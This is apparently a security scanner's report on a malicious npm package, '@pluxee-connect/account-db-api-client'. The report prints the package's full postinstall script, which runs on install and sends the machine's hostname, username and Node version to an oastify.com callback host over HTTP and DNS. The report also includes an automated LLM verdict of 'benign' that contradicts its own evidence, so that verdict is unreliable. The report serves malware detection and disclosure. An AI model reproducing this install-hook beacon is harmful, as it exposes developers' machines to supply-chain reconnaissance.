// npm package

@pluxee-connect/account-db-api-client

Pluxee account database API client

npmjs.com tarball

versions

maintainers

license

MIT

first publish

2026-05-17

publisher

pengelana

tarball

2,170 B

AUTO-PUBLISHED·1 version indexed·latest published 2026-05-18

// exfil path

what is read → where it ships

steals

○ home dir
○ system info

sends to

(no destination string extracted — payload may be dynamic / obfuscated)

evidence in excerpt

> const OOB  = '716bw4e4k31qif2nc1v658fb62ct0soh.oastify.com';
> const host = encodeURIComponent(os.hostname().slice(0, 20));
> const user = encodeURIComponent(os.userInfo().username.slice(0, 15));
> const req = http.get({
> const OOB  = '716bw4e4k31qif2nc1v658fb62ct0soh.oastify.com';

→ view full payload

// offending code· @99.0.1· 1 file flagged

llm: benign · 0.85

→ No suspicious destination, no remote-exec shape — 1 other host(s).

@99.0.1·2026-05-18·AUTO-PUBLISHED·publisher: pengelana
heuristic 75/100
static flags 3
llm benign (0.85) via ollama
install-scripts:postinstallnew-publisher:8dosv-flagged:MAL-2026-3810reads-homedirreads-system-infooast-callback-domain
→ No suspicious destination, no remote-exec shape — 1 other host(s).
// NHI intent1 target·mixed harvest patterns·gate: always
- AWS IMDS metadata serviceimds-aws
```
const OOB  = '716bw4e4k31qif2nc1v658fb62ct0soh.oastify.com';
```

--- install scripts --- ### postinstall node postinstall.js --- package/postinstall.js (excerpt) --- const os = require('os'); const dns = require('dns'); const http = require('http'); const OOB = '716bw4e4k31qif2nc1v658fb62ct0soh.oastify.com'; const pkg = encodeURIComponent('@pluxee-connect/account-db-api-client'); const host = encodeURIComponent(os.hostname().slice(0, 20)); const user = encodeURIComponent(os.userInfo().username.slice(0, 15)); const node = encodeURIComponent(process.version); function httpBeacon() { try { const req = http.get({ host: OOB, port: 80, path: `/poc?pkg=${pkg}&host=${host}&user=${user}&node=${node}`, timeout: 3000, }); req.on('error', () => {}); req.end(); } catch (_) {} } function dnsBeacon() { const label = `${host}.${user}.${OOB}`; dns.lookup(label, () => {}); } httpBeacon(); dnsBeacon(); --- package.json (entry) --- { "name": "@pluxee-connect/account-db-api-client", "version": "99.0.1", "description": "Pluxee account database API client", "main": "index.js", "types": "index.d.ts", "scripts": { "postinstall": "node postinstall.js" }, "license": "MIT", "publishConfig": { "access": "public" } } --- index.js (entry) --- // PoC stub — mirrors the real package's exported API surface // Types extracted from connect.pluxee.app source maps (Finding 048) const ConsentsStatus = { ACCEPTED: 'ACCEPTED', DENIED: 'DENIED', }; module.exports = { ConsentsStatus }; --- postinstall.js (entry) --- const os = require('os'); const dns = require('dns'); const http = require('http'); const OOB = '716bw4e4k31qif2nc1v658fb62ct0soh.oastify.com'; const pkg = encodeURIComponent('@pluxee-connect/account-db-api-client'); const host = encodeURIComponent(os.hostname().slice(0, 20)); const user = encodeURIComponent(os.userInfo().username.slice(0, 15)); const node = encodeURIComponent(process.version); function httpBeacon() { try { const req = http.get({ host: OOB, port: 80, path: `/poc?pkg=${pkg}&host=${host}&user=${user}&node=${node}`, timeout: 3000, }); req.on('error', () => {}); req.end(); } catch (_) {} } function dnsBeacon() { const label = `${host}.${user}.${OOB}`; dns.lookup(label, () => {}); } httpBeacon(); dnsBeacon();